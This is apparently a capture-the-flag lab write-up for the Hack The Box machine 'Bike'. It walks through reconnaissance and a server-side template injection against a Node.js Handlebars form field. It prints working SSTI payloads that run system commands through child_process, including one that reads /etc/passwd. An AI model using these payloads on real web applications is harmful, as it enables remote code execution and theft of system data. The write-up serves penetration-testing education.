Bike

Reconnaissance

IP: 10.129.219.38

We start with the normal network scan with Nmap and see that there is a Node.js web and a SSH server.

nmap -sC -sV 10.129.219.38                                                                               
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Node.js (Express middleware)
|_http-title:  Bike 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The ssh server requires a username and password, so no luck there. On the website we can see only one way to input something - the email field.

I tried Dirbusting the page with gobuster but nothing useful came up so I started to search for a way to exploit this input field. As you can see in the Screenshot Wappalyzer reports Express.js as the Web Framework. Lets try looking for a way to mess with Node.js inputs.

Exploiting

After a big of googling I found this Hacktricks cheat sheet talking about SSTI or Server Side Template Injection which seems to be exactly what we are looking for and could lead to a simple XSS vulnerability. There are a ton of options to insert in the E-mail field and after a bit of trying we get this output after inserting {{7*7}}.

Now we could be luckier and we would get the solution as the output (49) but this is good enough. Now we can see that Handlebars is used to process the templates. Now what we need to do is to find a way to execute code. If we scroll down a bit on the afore mentioned website we can see a big block of code.

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}} //here
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

It attempts to run the require Module that will load another module in this case the child_process Module that then will execute the whomai command. To run this block of code we first need to encode it as URL because otherwise certain symbols will not be processed which would render our code useless. To encode and send out exploit we will use Burpsuite.

First we need to get the initial HTTP Request our browser sends to the website. We can do that by intercepting the requests our browser makes by using a Proxy. Simply go to the Proxy Tab in burpsuite and start intercepting. You can configure it with a separate browser but this time I decided to use the browser burp provides. After trying to load the webpage in the browser we see the intercepted request.

We can see it sends the text we typed in the email field. Now we simply need to encode our exploit to URL and put it in this field. To do that go to the Decoder Tab in Burp and encode the exploit.

Now we need to send this exploit to the server. To make our lives easier we will user the Repeater. In the Proxy Tab press on ā€˜Action’ and send the contents to the Repeater. Now put the encoded exploit in the email field and send it.

The Error we get back indicates that we can’t use the require Module most probably because it is not allowed to import modules that can run system commands (at least thats how it is explained in the Solution). Basically the environment is sandboxed and we have to find a different way. The next hint is very obscure but if you answer the questions on the HTB website one of the questions will be:

When we google ā€œglobal scope node jsā€ we find the Node.js documentation that shows all global objects of Node.js which are basically objects available in every module. However we can see that require is not a global object. After a bit of googling we find this website that explains that it only exists in the scope of some modules. Since it obvously doesn’t exist in our module we have to find another object to run system commands. This is a hard step but after looking through all of those objects you will eventually discover the Process object that provides information and control over the Node.js process. This sounds interesting. We can do a test with something simple. For example process.uptime

And we get a Response! Now we need to find something in Process that allows us to run system commands. When we go and search for the key term process on the site where we found the SSTI exploit we find a few hits where process.mainModule is being used. After a look in the documentation we can see that mainModule is referring to the original main module maybe from there we can run require. We can modify the initial exploit a bit to test that.

Hm, we get a response and no error however we can’t see the output… Another look at the website where we found the exploit and we see that some of the other exploits using process.mainModule use execSync instead of exec

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

When we change our request we actually get a reply!

Apparently execSync waits a bit for the child_process to load and doesn’t execute the command immeadiately (source). This gives us an output and after looking at the folders on the server with Cd and Ls we find the flag.

Go to Bike - Solution.pdf to see the official write up.